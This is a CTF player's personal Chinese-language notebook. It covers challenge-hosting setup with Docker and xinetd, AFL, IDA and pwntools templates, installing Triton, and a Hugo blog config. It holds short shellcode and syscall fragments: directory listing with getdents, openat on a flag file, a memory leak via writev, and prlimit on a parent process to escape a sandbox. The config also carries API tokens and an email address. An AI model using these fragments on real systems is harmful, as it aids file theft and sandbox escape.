sed -i "s/deb-src http:\/\/se/#/g" /etc/apt/sources.list

ctf.xinetd

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service ctf
{
    disable = no
    socket_type = stream
    protocol    = tcp
    wait        = no
    user        = root
    type        = UNLISTED
    port        = 8888
    bind        = 0.0.0.0
    server      = /usr/sbin/chroot
    # replace helloworld to your program
    server_args = --userspec=1000:1000 /home/ctf ./pwn
    banner_fail = /etc/banner_fail
    # safety options
    per_source	= 10 # the maximum instances of this service per source IP address
    rlimit_cpu	= 20 # the maximum number of CPU seconds that the service may use
    #rlimit_as  = 1024M # the Address Space resource limit for the service
    #access_times = 2:00-9:00 12:00-24:00
}

strip.sh

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#!/bin/bash
echo "$NS_FLAG" > /home/ctf/flag
exec "$@"

start.sh

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#!/bin/sh
# Add your startup script
# DO NOT DELETE
/etc/init.d/xinetd start;
sleep infinity;

命令

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sudo docker build -t imageName .
sudo docker run -tid -e NS_FLAG="flag{abcdefg}" -p "0.0.0.0:pub_port:8888" -h "CONTAINER_NAME" --name="CONTAINER_NAME" imageName

AFL工具使用

https://paper.seebug.org/841/

afl-tmin

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afl-cmin -i input_dir -o output_dir -- /path/to/tested/program [params]

linux调试版本不一致

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CONFIG_MODVERSIONS = n

添加swap交换分区空间

1.查看当前内存和swap空间大小

$free -mh

2.创建swap交换分区文件/swap/swapfile，大小为8G

$ sudo mkdir /swap

$ sudo dd if=/dev/zero of=/swap/swapfile bs=1G count=8

3.格式化swap分区：

$sudo mkswap /swap/swapfile

4.设置交换分区：

$sudo mkswap -f /swap/swapfile

5.修改权限：

$sudo chmod 600 /swap/swapfile

6.激活swap分区：

$sudo swapon /swap/swapfile

6.设为开机自动启用：

$sudo vi /etc/fstab

在该文件底部添加如下内容：

/swap/swapfile swap swap default 0 0

附：删除swap交换分区

1.停止正在使用的swap分区：

$sudo swapoff /swap/swapfile

2.删除swap分区文件：

$sudo rm /swap/swapfile

3.删除或注释在/etc/fstab文件中的以下开机自动挂载内容：

/swap/swapfile swap swap default 0 0

解包

img镜像文件

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sudo mount

打包

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sudo ~/ROM_toolbox-linux/make_ext4fs -s -l 268435456 new_system.img ./core
sudo ~/ROM_toolbox-linux/simg2img new_system.img system_out.img

取消byteswaring

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import warnings
warnings.filterwarnings('ignore')

删除none镜像

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sudo docker rmi -f $(sudo docker images | grep "none" | awk '{print $3}')

一些系统调用

getdents

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int getdents(unsigned int fd, struct linux_dirent *dirp,unsigned int count);

payload = shellcraft.open("./",0x10000)
payload += shellcraft.getdents("rax","rsp",0x300)
payload += shellcraft.write(1,"rsp",0x300)

connect

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connect(ip,port)

mmap

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## 映射fd
mmap(0x100000, 0x1000, 1, 3, 'rax', 0);
## mmap一块区域
mmap(0x100000, 0x1000, 0x7, 34, -1, 0);

openat

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openat(-100,"./flag",0)
openat(0, "/flag", 0)

ptrace

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long` `ptrace(enum __ptrace_request request, pid_t pid, void ``*``addr,void ``*``data);
1``). enum __ptrace_request request：参数执行的行为
2``). pid_t pid: ptrace要跟踪的进程号。
3``). void ``*``addr: 存放数据的地址。
4``). void ``*``data: 存放读取出的或者要写入的数据。

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enum __ptrace_request
{
    PTRACE_TRACEME = 0,        //被调试进程调用
    PTRACE_PEEKTEXT = 1， //从内存addr处读取一个字节
    PTRACE_PEEKDATA = 2,    //查看内存addr处的一个字节
    PTRACE_PEEKUSER = 3,    //查看struct user 结构体的值
    PTRACE_POKETEXT = 4， //查看内存addr处一个字大小的内存（4字节）
    PTRACE_POKEDATA = 5,    //修改内存addr处一个字大小的内存（4字节）
    PTRACE_POKEUSER = 6,    //修改struct user结构体的值
    PTRACE_CONT = 7,        //被调试进程pid继续
    PTRACE_SINGLESTEP = 9,    //被调试进程pid执行一条汇编指令
    PTRACE_GETREGS = 12,    //获取寄存器(struct user_regs_struct)到内存data中
    PTRACE_SETREGS = 13,    //设置内存data上的数据为寄存器(struct user_regs_struct)
    PTRACE_ATTACH = 16,        //附加进程pid
    PTRACE_DETACH = 17,        //解除附加进程pid
    PTRACE_SYSCALL = 24,    //让被调试进程pid在系统调用入口或出口停止
};
long int ptrace (enum __ptrace_request __request, ...)

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##/arch/x86/include/uapi/asm/ptrace-abi.h
#define R15 0
#define R14 8
#define R13 16
#define R12 24
#define RBP 32
#define RBX 40
/``*` `These regs are callee``-``clobbered. Always saved on kernel entry. ``*``/
#define R11 48
#define R10 56
#define R9 64
#define R8 72
#define RAX 80
#define RCX 88
#define RDX 96
#define RSI 104
#define RDI 112
/``*
 ``*` `On syscall entry, this ``is` `syscall``#. On CPU exception, this is error code.
 ``*` `On hw interrupt, it's IRQ number:
 ``*``/
#define ORIG_RAX 120
/``*` `Return frame ``for` `iretq ``*``/
#define RIP 128
#define CS 136
#define EFLAGS 144
#define RSP 152
#define SS 160
#endif /* __ASSEMBLY__ */
/``*` `top of stack page ``*``/
#define FRAME_SIZE 168

arch_prctl

会将heap[0]设置为0xdeadbeef

ARCH_SET_GS == 0x1001

ARCH_GET_GS == 0x1004

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arch_prctl(ARCH_SET_GS, 0xdeadbeef);
arch_prctl(ARCH_GET_GS, $heap);

writev

addr[0] = want_leak_addr

addr[1] = size

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syscall(20, 1, addr, 1)
writev(1,addr,1)

prlimit

https://hackmd.io/@ptr-yudai/SJEgM1vzq

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perlimt(ppid,9,new_limit,NULL)
prlimit(ppid,9,remove_limit, NULL)
new_limit:
  dq 0                          ; soft limit
  dq 0x133700000000             ; hard limit
remove_limit:
  dq 0x133700000000             ; soft limit
  dq 0x133700000000             ; hard limit

可以修改申请内存限制

idapython 常见指令

获取数值

旧的函数	新的函数
Byte(addr)	idc.get_wide_byte(addr)
Word(addr)	idc.get_wide_word(addr)
Dword(addr)	idc.get_wide_dword(addr)
Qword(addr)	idc.get_qword(addr)

数值操作

旧函数	新函数
idc.PatchByte(addr,value)	ida_bytes.patch_byte(addr,value)
idc.PatchWord(addr,value)	ida_bytes.patch_word(addr,value)
idc.PatchDword(addr,value)	ida_bytes.patch_Dword(addr,value)
idc.PatchQword(addr,value)	ida_bytes.patch_Qword(addr,value)

获取地址

老版函数	当前7.5支持函数	作用
idc.ScreenEA()	idc.get_screen_ea()	获取当前指令地址
idc.MinEA() idc.StartEA() idc.BeginEA()	ida_ida.inf_get_min_ea()	获取当前最小地址. 其中老版的三个函数都替换为了新版.使用的是同一个函数
idc.MaxEA()	ida_ida.inf_get_max_ea()	获取当前最大地址
idc.SelStart()	idc.read_selection_start()	获取当前光标选择的的块中的起始地址
idc.SelEnd()	idc.read_selection_end()	同上返回结束地址

dump_elf32.idc

其中ImageBase是Load段的地址，可能需要根据实际情况进行修改

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#include <idc.idc>
#define PT_LOAD              1
#define PT_DYNAMIC           2
static main(void)
{
        Message("start");
        auto ImageBase,StartImg,EndImg;
        auto e_phoff;
        auto e_phnum,p_offset;
        auto i,dumpfile;
        ImageBase=0x8048000;
        StartImg=0x8000000;
        EndImg=0x0;
        if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f ){
                if(dumpfile=fopen("dumpfile","wb"))
                {
                        e_phoff=ImageBase+Dword(ImageBase+0x1c);
                        Message("e_phoff = 0x%x\n", e_phoff);
                        e_phnum=Word(ImageBase+0x30);
                        Message("e_phnum = 0x%x\n", e_phnum);
                        for(i=0;i<e_phnum;i++)
                        {
                                if (Dword(e_phoff)==PT_LOAD || Dword(e_phoff)==PT_DYNAMIC)
                                {
                                        p_offset=Dword(e_phoff+0x4);
                                        StartImg=Dword(e_phoff+0x8);
                                        EndImg=StartImg+Dword(e_phoff+0x14);
                                        Message("start = 0x%x, end = 0x%x, offset = 0x%x\n", StartImg, EndImg, p_offset);
                                        dump(dumpfile,StartImg,EndImg,p_offset);
                                        Message("dump segment %d ok.\n",i);
                                }
                                e_phoff=e_phoff+0x20;
                        }

                        fseek(dumpfile,0x20,0);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);

                        fseek(dumpfile,0x30,0);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);
                        fputc(0x00,dumpfile);

                        fclose(dumpfile);
                }else Message("dump err.");
        }
}
static dump(dumpfile,startimg,endimg,offset)
{
        auto i;
        auto size;
        size=endimg-startimg;
        fseek(dumpfile,offset,0);
        for ( i=0; i < size; i=i+1 )
        {
                fputc(Byte(startimg+i),dumpfile);
        }
}

IDA右键菜单打开

换成自己的ida的路径即可

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Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\*\shell]

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x64]
@="IDA x64"
"Icon"="\"F:\\IDA7.7\\ida64.exe\", 4"

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x64\Command]
@="\"F:\\IDA7.7\\ida64.exe\" \"%1\""

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x86]
@="IDA x32"
"Icon"="\"F:\\IDA7.7\\ida.exe\", 4"

[HKEY_CLASSES_ROOT\*\shell\DASM with IDA x86\Command]
@="\"F:\\IDA7.7\\ida.exe\" \"%1\""

ubuntu加内存（内存扩展）

外部：

关机之后点击扩容然后选择想要扩容成的大小

内部：

安装gparted

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sudo apt-get install gparted

打开gparted,右键/dev/sda1 更改大小，拖到最右，然后同样的方法/dev/sda5，最后点击上面的对勾即可

虚拟机繁忙，无法关机

找到VMware workstation VMX 结束进程

python 显示某某decode不了或者encode不了

试试latin-1

pwntools 使用

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asm("syscall; ret").encode('hex')

共享文件夹突然消失

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cd ~/
sudo vmhgfs-fuse .host:/ /mnt/hgfs/ -o allow_other -o uid=1000

编译32bit程序

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sudo apt-get install build-essential module-assistant  
sudo apt-get install gcc-multilib g++-multilib 

pwntools解决tmux waiting for debugger

升级到最新版本即可或者是4.8.0,但是原装的terminal就不能愉快的调试了。。。

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pip2 install pwntools==4.10.0b0
pip install pwntools==4.10.0b0

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pip2 install pwntools==4.8.0
pip install pwntools==4.8.0

Triton安装

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git clone https://github.com/JonathanSalwan/Triton.git
cd Triton
mkdir build
cd build
cmake ..
sudo make -j install

cmake版本太小

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wget https://cmake.org/files/v3.22/cmake-3.22.1.tar.gz
tar -xvzf cmake-3.22.1.tar.gz
cd cmake-3.22.1
./configure
sudo make 
sudo make install
sudo update-alternatives --install /usr/bin/cmake cmake /usr/local/bin/cmake 1 --force

缺少BITWUZLA

真顺利，还以为会报很多错

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git clone https://github.com/bitwuzla/bitwuzla
cd bitwuzla
./contrib/setup-cadical.sh
./contrib/setup-btor2tools.sh
./contrib/setup-symfpu.sh
./configure.sh --shared
sudo make -C build install

capstone路径不对

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./make.sh

打开makefile

把PREFIX改成/usr/local

安装以后不能用

输出路径，将编译好的triton.so放入路径里面

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python3 -c "from sysconfig import get_paths; info = get_paths(); print(info['stdlib'])"

自用pwntools利用模板

效果

pwnup.mako

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<%page args="binary, libc = None, host=None, port=None, user=None, password=None, remote_path=None,quiet=False"/>\
<%
import os
import sys
import subprocess
from pwnlib.context import context as ctx
from pwnlib.elf.elf import ELF
from pwnlib.util.sh_string import sh_string
from pwn import asm
from elftools.common.exceptions import ELFError

argv = list(sys.argv)
argv[0] = os.path.basename(argv[0])
flags = 0
try:
    if binary:
       ctx.binary = ELF(binary, checksec=False)
except ELFError:
    pass

def is_static_binary(binary_path):
    output = subprocess.check_output(['file', binary_path])
    return b'statically linked' in output
def get_shared_libraries(binary_path):
    output = subprocess.check_output(['ldd', binary_path])
    libs = []
    for line in output.decode().split('\n'):
        if 'libc.so.6' in line:
            lib_path = line.split('=>')[1].split()[0]
            #libs.append(lib_path)
            return lib_path
    #return libs
def find_one_gadget(libc_path):
    output = subprocess.check_output(['one_gadget', libc_path])
    return output.strip()
def nonzero(*args):
    result = []
    for arg in args:
        result.append(arg)
    return result
try:
    if binary:
        ret = is_static_binary(binary)
        if not ret:
            flags = 1
            libc_path = get_shared_libraries(binary)
            og = find_one_gadget(libc_path)
        else:
            flags = 0

except Exception as e:
    print(e)
    pass



if not binary:
    binary = './path/to/binary'

exe = os.path.basename(binary)
ssh = user or password
if ssh and not port:
    port = 22
elif host and not port:
    port = 4141

remote_path = remote_path or exe
password = password or 'secret1234'
binary_repr = repr(binary)
libc_repr = repr(libc)
%>\
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#context.log_level = 'debug'
def exp():
    #context.terminal = ['tmux', 'splitw', '-h']
    #context.log_level = "debug"
    #attach(p)
    p.interactive()
if __name__ == "__main__":
    %if ctx.binary:
    binary = ${binary_repr}
    elf = ELF(${binary_repr})
    context.binary = binary
    %if not libc:
    libc = elf.libc
    %else:
    libc = ELF(${libc_repr})
    %endif
    %endif
    if(len(sys.argv) == 3):
        p = remote(sys.argv[1],sys.argv[2])
    else:
        p = process(binary)
    l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
    sla = lambda a,b  :p.sendlineafter(str(a),str(b))
    sa  = lambda a,b  :p.sendafter(str(a),str(b))
    lg  = lambda name,data : p.success(name + ": 0x%x" % data)
    se  = lambda payload: p.send(payload)
    rl  = lambda      : p.recv()
    sl  = lambda payload: p.sendline(payload)
    ru  = lambda a     :p.recvuntil(str(a))
    exp()
%if binary:
%if flags:
"""
${og}
"""
%endif
%endif
    

template.py

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#!/usr/bin/env python2
from __future__ import absolute_import
from __future__ import division

from pwn import *
from pwnlib.commandline import common

from mako.lookup import TemplateLookup

parser = common.parser_commands.add_parser(
    'template',
    help = 'Generate an exploit template',
    description = 'Generate an exploit template'
)

parser.add_argument('exe', nargs='?', help='Target binary')
parser.add_argument('--libc', help='Remote libc version')
parser.add_argument('--host', help='Remote host / SSH server')
parser.add_argument('--port', help='Remote port / SSH port', type=int)
parser.add_argument('--user', help='SSH Username')
parser.add_argument('--pass', '--password', help='SSH Password', dest='password')
parser.add_argument('--path', help='Remote path of file on SSH server')
parser.add_argument('--quiet', help='Less verbose template comments', action='store_true')
parser.add_argument('--color', help='Print the output in color', choices=['never', 'always', 'auto'], default='auto')

def main(args):
    lookup = TemplateLookup(
        directories      = [os.path.join(pwnlib.data.path, 'templates')],
        module_directory = None
    )

    # For the SSH scenario, check that the binary is at the
    # same path on the remote host.
    if args.user:
        if not (args.path or args.exe):
            log.error("Must specify --path or a exe")

        s = ssh(args.user, args.host, args.port or 22, args.password or None)

        try:
            remote_file = args.path or args.exe
            s.download(remote_file)
        except Exception:
            log.warning("Could not download file %r, opening a shell", remote_file)
            s.interactive()
            return

        if not args.exe:
            args.exe = os.path.basename(args.path)

    template = lookup.get_template('pwnup.mako')
    output = template.render(args.exe,
                             args.libc,
                             args.host,
                             args.port,
                             args.user,
                             args.password,
                             args.path,
                             args.quiet)

    # Fix Mako formatting bs
    output = re.sub('\n\n\n', '\n\n', output)

    # Colorize the output if it's a TTY
    if args.color == 'always' or (args.color == 'auto' and sys.stdout.isatty()):
        from pygments import highlight
        from pygments.formatters import TerminalFormatter
        from pygments.lexers.python import PythonLexer
        output = highlight(output, PythonLexer(), TerminalFormatter())

    print(output)

    # If redirected to a file, make the resulting script executable
    if not sys.stdout.isatty():
        try: os.fchmod(sys.stdout.fileno(), 0o700)
        except OSError: pass

if __name__ == '__main__':
    pwnlib.commandline.common.main(__file__)

bubble

在/usr/local/bin建立bubble文件，内容如下，记得赋值可执行权限chmod 777 /usr/local/bin/bubble

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#!/bin/sh
FILE_NAME=$1
LIBC_FILE=$2
if [ "$FILE_NAME" = "" ];then
	printf "Usage <%s> : bubble <file> <libc_file>\n"
	printf "Please input the file\n"
	exit
fi
if [ "$LIBC_FILE" ];then
	sudo chmod +x $1
	touch $1.py
	echo "[+]Touch Successful!"
	code $1.py
	sudo chmod +777 $1.py
	template $1 --libc $2 > $1.py
	sudo xclibc $1 $2
	echo "Over"
	exit
fi
sudo chmod +x $1
touch $1.py
echo "[+]Touch Successful!"
code $1.py
sudo chmod +777 $1.py
template $1 > $1.py
echo "Over"

zsh: corrupt history file /home/XXX/.zsh_history

原因是不可见字符导致的错误，可以打开~/.zsh_history将发红的字体给删掉，或者使用下面的命令，但是下面的命令可能会使某些命令失效。

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cd ~/
cp .zsh_history zsh_history
rm -f .zsh_history 
strings zsh_history .zsh_history

hugo 博客搭建 (windows)

安装

在安装go 的前提下运行下面的命令

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go env -w CGO_ENABLED=1
go install -tags extended github.com/gohugoio/hugo@latest

验证

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(实测当直接下载release版本的时候会出现很多莫名其妙的错误因此最好还是自己编译)

搭建博客,以loveIt为例

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hugo new site blog #创建blog站点
cd blog
git clone https://github.com/dillonzq/LoveIt.git themes/LoveIt

修改blog/config.toml

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baseURL = "https://cnitlrt.github.io"
# [en, zh-cn, fr, pl, ...] determines default content language
# [en, zh-cn, fr, pl, ...] 设置默认的语言
defaultContentLanguage = "zh-cn"
# 网站语言, 仅在这里 CN大写
languageCode = "zh-CN"
# 是否包括中日韩文字
hasCJKLanguage = true
# 主题
theme = "LoveIt"
# 网站标题
title = "cnitlrtの博客 - 在阅读中遇见自己"
# 是否使用 robots.txt
enableRobotsTXT = true
# 是否使用 git 信息
enableGitInfo = true
# 是否使用 emoji 代码
enableEmoji = true
[languages]


  [languages.zh-cn]
    weight = 2
    # 网站语言, 仅在这里 CN 大写
    languageCode = "zh-CN"
    # 语言名称
    languageName = "简体中文"
    # 是否包括中日韩文字
    hasCJKLanguage = true
    # 默认每页列表显示的文章数目
    paginate = 12
    # [UA-XXXXXXXX-X] 谷歌分析代号
    googleAnalytics = ""
    # 版权描述，仅仅用于 SEO
    copyright = "This work is licensed under a Creative Commons Attribution-NonCommercial 4.0 International License."
    # 菜单配置
    [languages.zh-cn.menu]
      [[languages.zh-cn.menu.main]]
        identifier = "posts"
        # 你可以在名称 (允许 HTML 格式) 之前添加其他信息, 例如图标
        pre = ""
        # 你可以在名称 (允许 HTML 格式) 之后添加其他信息, 例如图标
        post = ""
        name = "所有文章"
        url = "/posts/"
        title = ""
        weight = 1
      [[languages.zh-cn.menu.main]]
        identifier = "tags"
        pre = ""
        post = ""
        name = "标签"
        url = "/tags/"
        title = ""
        weight = 2
      [[languages.zh-cn.menu.main]]
        identifier = "categories"
        pre = ""
        post = ""
        name = "分类"
        url = "/categories/"
        title = ""
        weight = 3
      [[languages.zh-cn.menu.main]]
        identifier = "documentation"
        pre = ""
        name = "文档"
        url = "/categories/documentation/"
        title = ""
        weight = 4
      [[languages.zh-cn.menu.main]]
        identifier = "about"
        pre = ""
        post = ""
        name = "关于"
        url = "/about/"
        title = ""
        weight = 5
      [[languages.zh-cn.menu.main]]
        identifier = "github"
        pre = "<i class='fab fa-github fa-fw'></i>"
        post = ""
        name = "Github"
        url = "https://github.com/cnitlrt"
        title = "GitHub"
        weight = 6
      [[languages.zh-cn.menu.main]]
        identifier = "friend"
        pre = "<i class='fas fa-user-friends'></i>"
        post = ""
        name = "友链"
        url = "/friend/"
        title = ""
        weight = 7      
    [languages.zh-cn.params]
      # 网站描述
      description = "cnitlrtの博客"
      # 网站关键词
      keywords = ["Theme", "Hugo"]
      # 应用图标配置
      [languages.zh-cn.params.app]
        # 当添加到 iOS 主屏幕或者 Android 启动器时的标题, 覆盖默认标题
        title = "LoveIt"
        # 是否隐藏网站图标资源链接
        noFavicon = false
        # 更现代的 SVG 网站图标, 可替代旧的 .png 和 .ico 文件
        svgFavicon = ""
        # Android 浏览器主题色
        themeColor = "#ffffff"
        # Safari 图标颜色
        iconColor = "#5bbad5"
        # Windows v8-10 磁贴颜色
        tileColor = "#da532c"
      # 搜索配置
      [languages.zh-cn.params.search]
        enable = true
        # 搜索引擎的类型 ("lunr", "algolia")
        type = "algolia"
        # 文章内容最长索引长度
        contentLength = 4000
        # 搜索框的占位提示语
        placeholder = ""
        # 最大结果数目
        maxResultLength = 10
        # 结果内容片段长度
        snippetLength = 50
        # 搜索结果中高亮部分的 HTML 标签
        highlightTag = "em"
        # 是否在搜索索引中使用基于 baseURL 的绝对路径
        absoluteURL = false
        [languages.zh-cn.params.search.algolia]
          index = "index.zh-cn"
          appID = "PASDMWALPK"
          searchKey = "b42948e51daaa93df92381c8e2ac0f93"
      # 主页信息设置
      [languages.zh-cn.params.home]
        # RSS 文章数目
        rss = 10
        # 主页个人信息
        [languages.zh-cn.params.home.profile]
          enable = true
          # Gravatar 邮箱，用于优先在主页显示的头像
          gravatarEmail = ""
          # 主页显示头像的 URL
          avatarURL = "/images/avatar.jpg"
          # 主页显示的网站标题 (支持 HTML 格式)
          title = ""
          # 主页显示的网站副标题
          subtitle = "No Pwn No Fun"
          # 是否为副标题显示打字机动画
          typeit = true
          # 是否显示社交账号
          social = true
          # 免责声明 (支持 HTML 格式)
          disclaimer = ""
        # 主页文章列表
        [languages.zh-cn.params.home.posts]
          enable = true
          # 主页每页显示文章数量
          paginate = 6
      # 主页的社交信息设置
      [languages.zh-cn.params.social]
        GitHub = "cnitlrt"
        #Bilibili = "480883651"
        #Zhihu = "yimi-yang-guang-96-65"
        Linkedin = ""
        Twitter = ""
        Instagram = ""
        Facebook = ""
        Telegram = ""
        Medium = ""
        Gitlab = ""
        Youtubelegacy = ""
        Youtubecustom = ""
        Youtubechannel = ""
        Tumblr = ""
        Quora = ""
        Keybase = ""
        Pinterest = ""
        Reddit = ""
        Codepen = ""
        FreeCodeCamp = ""
        Bitbucket = ""
        Stackoverflow = ""
        # Weibo = "xxxx"
        Odnoklassniki = ""
        VK = ""
        Flickr = ""
        Xing = ""
        Snapchat = ""
        Soundcloud = ""
        Spotify = ""
        Bandcamp = ""
        Paypal = ""
        Fivehundredpx = ""
        Mix = ""
        Goodreads = ""
        Lastfm = ""
        Foursquare = ""
        Hackernews = ""
        Kickstarter = ""
        Patreon = ""
        # Steam = "xxxx"
        Twitch = ""
        Strava = ""
        Skype = ""
        Whatsapp = ""
        # Juejin ="user/3843548384077192"
        # Douban = "xxxx"
        Angellist = ""
        Slidershare = ""
        Jsfiddle = ""
        Deviantart = ""
        Behance = ""
        Dribbble = ""
        Wordpress = ""
        Vine = ""
        Googlescholar = ""
        Researchgate = ""
        Mastodon = ""
        Thingiverse = ""
        Devto = ""
        Gitea = ""
        XMPP = ""
        Matrix = ""
      
        Email = "1258175307@qq.com"
        # RSS = true


[params]
  # LoveIt theme version
  # LoveIt 主题版本
  version = "0.2.X"
  # site default theme ("light", "dark", "auto")
  # 网站默认主题 ("light", "dark", "auto")
  defaultTheme = "auto"
  # public git repo url only then enableGitInfo is true
  # 公共 git 仓库路径，仅在 enableGitInfo 设为 true 时有效
  gitRepo = "https://github.com/dillonzq/LoveIt"
  # which hash function used for SRI, when empty, no SRI is used ("sha256", "sha384", "sha512", "md5")
  # 哪种哈希函数用来 SRI, 为空时表示不使用 SRI ("sha256", "sha384", "sha512", "md5")
  fingerprint = ""
  # date format
  # 日期格式
  dateFormat = "2006-01-02"
  # website images for Open Graph and Twitter Cards
  # 网站图片, 用于 Open Graph 和 Twitter Cards
  images = ["/logo.png"]
  #来自之前
  archivePaginate = 50

  # show 'xx Posts In Total' in archive page ?            # 是否在归档页显示文章的总数
  showArchiveCount = true
  # Header config
  # 页面头部导航栏配置
  [params.header]
    # desktop header mode ("fixed", "normal", "auto")
    # 桌面端导航栏模式 ("fixed", "normal", "auto")
    desktopMode = "fixed"
    # mobile header mode ("fixed", "normal", "auto")
    # 移动端导航栏模式 ("fixed", "normal", "auto")
    mobileMode = "auto"
    # Header title config
    # 页面头部导航栏标题配置
    [params.header.title]
      # URL of the LOGO
      # LOGO 的 URL
      logo = ""
      # title name
      # 标题名称
      name = "cnitlrtの博客"
      # you can add extra information before the name (HTML format is supported), such as icons
      # 你可以在名称 (允许 HTML 格式) 之前添加其他信息, 例如图标
      pre = "<i class='far fa-kiss-wink-heart fa-fw'></i>"
      # you can add extra information after the name (HTML format is supported), such as icons
      # 你可以在名称 (允许 HTML 格式) 之后添加其他信息, 例如图标
      post = ""
      # whether to use typeit animation for title name
      # 是否为标题显示打字机动画
      typeit = true

  [params.busuanzi]         # count web traffic by busuanzi                             # 是否使用不蒜子统计站点访问量
    enable = true
    siteUV = true
    sitePV = true
    pagePV = true

  [params.reward]                                         # 文章打赏
    enable = true
    wechat = "/path/to/your/wechat-qr-code.png"           # 微信二维码
    alipay = "/path/to/your/alipay-qr-code.png"    
  # Footer config
  # 页面底部信息配置
  [params.footer]
    enable = true
    # Custom content (HTML format is supported)
    # 自定义内容 (支持 HTML 格式)
    custom = ''
    # whether to show Hugo and theme info
    # 是否显示 Hugo 和主题信息
    hugo = true
    # whether to show copyright info
    # 是否显示版权信息
    copyright = true
    # whether to show the author
    # 是否显示作者
    author = true
    # site creation time
    # 网站创立年份
    since = 2021
    # ICP info only in China (HTML format is supported)
    # ICP 备案信息，仅在中国使用 (支持 HTML 格式)
    icp = ""
    # license info (HTML format is supported)
    # 许可协议信息 (支持 HTML 格式)
    license= '<a rel="license external nofollow noopener noreffer" href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank">CC BY-NC 4.0</a>'

  # Section (all posts) page config
  # Section (所有文章) 页面配置
  [params.section]
    # special amount of posts in each section page
    # section 页面每页显示文章数量
    paginate = 20
    # date format (month and day)
    # 日期格式 (月和日)
    dateFormat = "01-02"
    # amount of RSS pages
    # RSS 文章数目
    rss = 10

  # List (category or tag) page config
  # List (目录或标签) 页面配置
  [params.list]
    # special amount of posts in each list page
    # list 页面每页显示文章数量
    paginate = 20
    # date format (month and day)
    # 日期格式 (月和日)
    dateFormat = "01-02"
    # amount of RSS pages
    # RSS 文章数目
    rss = 10

  # Page config
  # 文章页面配置
  [params.page]
    # whether to hide a page from home page
    # 是否在主页隐藏一篇文章
    hiddenFromHomePage = false
    # whether to hide a page from search results
    # 是否在搜索结果中隐藏一篇文章
    hiddenFromSearch = false
    # whether to enable twemoji
    # 是否使用 twemoji
    twemoji = false
    # whether to enable lightgallery
    # 是否使用 lightgallery
    lightgallery = false
    # whether to enable the ruby extended syntax
    # 是否使用 ruby 扩展语法
    ruby = true
    # whether to enable the fraction extended syntax
    # 是否使用 fraction 扩展语法
    fraction = true
    # whether to enable the fontawesome extended syntax
    # 是否使用 fontawesome 扩展语法
    fontawesome = true
    # whether to show link to Raw Markdown content of the content
    # 是否显示原始 Markdown 文档内容的链接
    linkToMarkdown = true
    # whether to show the full text content in RSS
    # 是否在 RSS 中显示全文内容
    rssFullText = false
    # Table of the contents config
    # 目录配置
    [params.page.toc]
      # whether to enable the table of the contents
      # 是否使用目录
      enable = true
      # whether to keep the static table of the contents in front of the post
      # 是否保持使用文章前面的静态目录
      keepStatic = false
      # whether to make the table of the contents in the sidebar automatically collapsed
      # 是否使侧边目录自动折叠展开
      auto = true
    # Code config
    # 代码配置
    [params.page.code]
      # whether to show the copy button of the code block
      # 是否显示代码块的复制按钮
      copy = true
      # the maximum number of lines of displayed code by default
      # 默认展开显示的代码行数
      maxShownLines = 10
    # KaTeX mathematical formulas config (KaTeX https://katex.org/)
    # KaTeX 数学公式配置 (KaTeX https://katex.org/)
    [params.page.math]
      enable = true
      # default block delimiter is $$ ... $$ and \\[ ... \\]
      # 默认块定界符是 $$ ... $$ 和 \\[ ... \\]
      blockLeftDelimiter = ""
      blockRightDelimiter = ""
      # default inline delimiter is $ ... $ and \\( ... \\)
      # 默认行内定界符是 $ ... $ 和 \\( ... \\)
      inlineLeftDelimiter = ""
      inlineRightDelimiter = ""
      # KaTeX extension copy_tex
      # KaTeX 插件 copy_tex
      copyTex = true
      # KaTeX extension mhchem
      # KaTeX 插件 mhchem
      mhchem = true
    # Mapbox GL JS config (Mapbox GL JS https://docs.mapbox.com/mapbox-gl-js)
    # Mapbox GL JS 配置 (Mapbox GL JS https://docs.mapbox.com/mapbox-gl-js)
    [params.page.mapbox]
      # access token of Mapbox GL JS
      # Mapbox GL JS 的 access token
      accessToken = "pk.eyJ1IjoiZGlsbG9uenEiLCJhIjoiY2s2czd2M2x3MDA0NjNmcGxmcjVrZmc2cyJ9.aSjv2BNuZUfARvxRYjSVZQ"
      # style for the light theme
      # 浅色主题的地图样式
      lightStyle = "mapbox://styles/mapbox/light-v10?optimize=true"
      # style for the dark theme
      # 深色主题的地图样式
      darkStyle = "mapbox://styles/mapbox/dark-v10?optimize=true"
      # whether to add NavigationControl (https://docs.mapbox.com/mapbox-gl-js/api/#navigationcontrol)
      # 是否添加 NavigationControl (https://docs.mapbox.com/mapbox-gl-js/api/#navigationcontrol)
      navigation = true
      # whether to add GeolocateControl (https://docs.mapbox.com/mapbox-gl-js/api/#geolocatecontrol)
      # 是否添加 GeolocateControl (https://docs.mapbox.com/mapbox-gl-js/api/#geolocatecontrol)
      geolocate = true
      # whether to add ScaleControl (https://docs.mapbox.com/mapbox-gl-js/api/#scalecontrol)
      # 是否添加 ScaleControl (https://docs.mapbox.com/mapbox-gl-js/api/#scalecontrol)
      scale = true
      # whether to add FullscreenControl (https://docs.mapbox.com/mapbox-gl-js/api/#fullscreencontrol)
      # 是否添加 FullscreenControl (https://docs.mapbox.com/mapbox-gl-js/api/#fullscreencontrol)
      fullscreen = true
    # Social share links in post page
    # 文章页面的分享信息设置
    [params.page.share]
      enable = true
      Twitter = true
      Facebook = true
      Linkedin = false
      Whatsapp = false
      Pinterest = false
      Tumblr = false
      HackerNews = true
      Reddit = false
      VK = false
      Buffer = false
      Xing = false
      Line = true
      Instapaper = false
      Pocket = false
      Digg = false
      Stumbleupon = false
      Flipboard = false
      Weibo = true
      Renren = false
      Myspace = false
      Blogger = false
      Baidu = false
      Odnoklassniki = false
      Evernote = false
      Skype = false
      Trello = false
      Mix = false
    # Comment config
    # 评论系统设置
    [params.page.comment]
      enable = true
      # Disqus comment config (https://disqus.com/)
